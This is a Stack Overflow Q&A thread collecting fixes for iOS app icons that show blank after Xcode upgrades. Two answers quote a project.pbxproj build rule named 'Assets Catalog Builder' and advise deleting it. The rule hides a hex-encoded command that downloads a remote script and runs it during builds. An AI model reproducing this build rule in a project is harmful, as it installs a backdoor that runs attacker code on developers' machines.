44

Recently updated to Xcode 10 beta and my App that previously has correct icon displayed when built and ran from Xcode 9.4 to device now shows the default blank icon when running in Xcode 10.

enter image description here

When opening AppIcon asset it shows icon correctly in all the placeholders without any warning icons. When tapping on new "Show Slicing" I do not see anything.

Anyone any clues how to fix this so app icon shows?

Vlad
  • 5,727
  • 3
  • 38
  • 59

18 Answers18

43

I've been battling with this all day, it wouldn't show up in the simulator or a real device.

Eventually I got it to work by making sure the Target Membership for the AppIcon was set to the app name and that the Location was "Relative to Project".

Xcode screenshot

developius
  • 1,193
  • 9
  • 17
  • 1
    After 4 hours, this saved me! Thanks! – Victor Sena de Lima Attar Nov 06 '20 at 15:18
  • 2
    Thanks for the answer. I was able to fix the issue by unchecking target membership of the Assets catalog folder, built the app (which gave an error) and then setting back the target membership to the app name. I did not have to change the Location setting which remains as "Relative to Group" (XCode 12.4 - 12D4e) – Vishal Chaudhry Mar 24 '21 at 11:22
  • You saved me too! Finally, I was able to apply an icon for my app, I have been for about more than 6 months avoiding resolve this issue. – Sonia Toledo Dec 12 '22 at 00:58
24

if you are using Xcode 13 & iOS 15

  • Install the app & Restart the device.

app icon shows on device.

Another tricky solution, but dont use (it's only for testing purpose,not a best solution.

  • Change the bundle identifier & run the project
Ketan
  • 480
  • 5
  • 6
13

In my case these two options were set wrongly Project navigator

Grzegorz R. Kulesza
  • 1,324
  • 16
  • 10
  • 1
    In my case, I accidentally removed `CFBundleIconFile` from `Info.plist` and simply couldn't see the `App Icons and Launch Images` option until I added the property back. – kakyo Jul 31 '19 at 06:15
11

I have the same issues on xCode 12.5 All icons are working but only app icons are not showing on iPad and iPhone.

Solution

YouProject.xcodeproj -> Show Package Contents -> project.pbxproj -> open

  • Find out the blow code

  • Remove code block

  • build project and run your app.

    / Begin PBXBuildRule section /
          EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
              isa = PBXBuildRule;
              compilerSpec = com.apple.compilers.proxy.script;
              fileType = folder.assetcatalog;
              inputFiles = (
              );
              isEditable = 0;
              name = "Assets Catalog Builder";
              outputFiles = (
                  "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
              );
              script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
          };
    / End PBXBuildRule section /
    
AshvinGudaliya
  • 3,234
  • 19
  • 37
10

On 6/19/18 Apple released Xcode 10. beta 2. Upgrading solved the problem I was having with icons not appearing. So, a bug in Xcode 10.0 I guess.

Malloc
  • 15,434
  • 34
  • 105
  • 192
Peter Wiley
  • 820
  • 7
  • 19
  • Thx, This in combination with the answer of edison (https://stackoverflow.com/a/50929189/2164516) did work for me :) – Milander Jun 29 '18 at 08:06
8

This problem is now occurring on iOS 15 Beta and iPadOS 15 Beta but we figured out how to work around it.

We changed the icon in our game, but it didn't load onto either Beta device. We tried a non Beta device and it worked just fine. I decided to install Device Support for iOS & iPadOS 15 beta, Now if the icon has changed and I won't see it right away, but I will if I reboot the device. We knew the icon was in the project correctly because we did a TestFlight build and it worked on the non-Beta device.

Ed Magnin
  • 81
  • 1
  • 1
6

Same issue occurs after updated to Xcode 10 beta.

I might fixed it by changing the active developer directory to Xcode 10:

sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer

Or select Xcode 10.0 in Xcode->Preferences->Locations->Command Line Tools.

Hope this helps.

enter image description here

edison
  • 171
  • 5
  • 3
    Tried both changes and this did not fix the issue. Still getting the empty icon. – Vlad Jun 19 '18 at 18:01
  • 1
    This fixed the problem in my case. After updating "Command Line Tools" to "Xcode 10.0", the "App Icon Source" setting in the project was deselected. I selected the "AppIcon" of the Asset Catalog again and the app icon started to appear. I'm using Xcode 10 beta 2. – Taka Jun 24 '18 at 03:54
4

After trying other solutions, this solved my problem.

Don't forget to:

  • Uninstall app,
  • Restart simulator
  • Build your project

in general

XplosiVe06
  • 568
  • 3
  • 23
3

In Xcode 12.5 I had the same problem, still apparently not fixed. Tried many of the above solutions, none helped. Then I did "Clean Build Folder", then unchecked the target checkbox for the asset catalog, built, did "Clean Build Folder" again, checked the target checkbox for the asset catalog, and built again; and now the icon works. It seems to be some kind of bad cached state that doesn't get cleared; something in those steps caused the cache to get invalidated, I guess. The same steps but without cleaning the build folder did not fix the problem, so maybe cleaning is the key element here.

bhaller
  • 1,803
  • 15
  • 24
2

I was testing on the iPad, and in my case the problem was that the default AppIcon did not include any iPad slots.

I don't know if this is something to do with the way my app was initialised (I'm using react native) but I was trouble shooting for ages and didn't even think to check they were there. Silly me...

To fix this i removed the existing icons, clicked the + button and selected ['App Icons & Launch items' -> 'New iOS App Icons'] as shown bellow. Then I just populated as expected.

add new buttons

James Trickey
  • 1,322
  • 13
  • 21
1

In my case the Xcode was using "Use Asset Catalog" in the App Icons Source. To see that you can go to Project->General->App Icons Source.

To fix it I selected "Migrate" and created a new Assets Catalog. When I did that, the oldest assets catalog got a warning in the App Icon. So I uploaded the icons to this oldest catalog again and deleted the provisional catalog.

The App Icons Source returned to show "AppIcon" and it worked.

1

For me the solution was deleting the AppIcon file in the assets folder and then add it again (which also means re-adding the images). I don't know why, but this fixed it for me.

MuSoundiX
  • 88
  • 8
0

I got this issue after changing asset catalogs. I believe what fixed it was selecting the AppIcon asset and selecting and deselecting target membership to the main app target. This was on Xcode 10 proper.

yairsz
  • 438
  • 5
  • 15
0

You can fix the issue in 3 steps.

  1. Click on Show Package Content in yourprojectname.xcodeproj file. enter image description here

  2. Click on open in project.pbxproj file. enter image description here

  3. Find and Remove these lines

/ Begin PBXBuildRule section / EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = { isa = PBXBuildRule; compilerSpec = com.apple.compilers.proxy.script; fileType = folder.assetcatalog; inputFiles = ( ); isEditable = 0; name = "Assets Catalog Builder"; outputFiles = ( "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)", ); script = "# Xcode Image Assets Compiler\n\ncp -rf "${INPUT_FILE_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\nxcrun actool --minimum-deployment-target "${IPHONEOS_DEPLOYMENT_TARGET}" --platform "${PLATFORM_NAME}" --compile "${CODESIGNING_FOLDER_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\n\necho "6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n"; }; / End PBXBuildRule section /

enter image description here

Muhammad Farooq
  • 263
  • 3
  • 10
0

I was facing this issue I just deleted the app and sent a new build and it worked... nothing crazy

  • Your answer could be improved with additional supporting information. Please [edit] to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers [in the help center](/help/how-to-answer). – Community May 10 '23 at 16:54
0

I have accidentally delete the Images.xcassets folder from Xcode. I have restored that folder from the recycle bin but app icon and splash was now showing. after 5 hours of searching I have just drag that folder to the x code and now it's working fine .

Engr.Aftab Ufaq
  • 3,356
  • 3
  • 21
  • 47
-1

Make sure your "App Icons Source" has your AppIcon selected under "App Icons and Launch Images" Sometimes your AppIcon can be named something like "AppIcon-1" in your Assets.xcassets folder.

  • I have tried this and checked my asset catalog selected for my target and it is correct. Tried updating it back and forth but this did not fix things. – Vlad Jun 10 '18 at 04:29
  • I've been trying to resolve this exact same issue all day today to no avail. Worked fine before updating to xCode 10 beta :( All the AppIcon assets are added where and how they're supposed to be, and the AppIcon source is correctly referencing this asset set. Everything is added to the target correctly as well... yet on my real device's home screen, the app icon still appears blank (default). Hopefully a solution is discovered soon! It's bugging me lol. – Justin Jun 11 '18 at 00:14
  • 3
    I think this is something to do with the Xcode 10 Beta, as I have both Xcode 9.4 and the Xcode 10 beta and works fine with 9.4, Beta is a kind of testing mode, maybe they will fix it. – Jonas Jun 11 '18 at 10:04
  • 1
    Filed Radar with Apple and was closed with "DUPLICATE OF 40507731" so it seems this is Xcode 10 issue in beta, have not yet found any workaround for this. – Vlad Jun 13 '18 at 23:50
-1

As suggested by makkuzu in one of the comments here, my bundle identifier included capital letters. I changed it to all lower case and woalla - the app icon was immediately showing with no other manipulation.

J.Doe
  • 326
  • 2
  • 14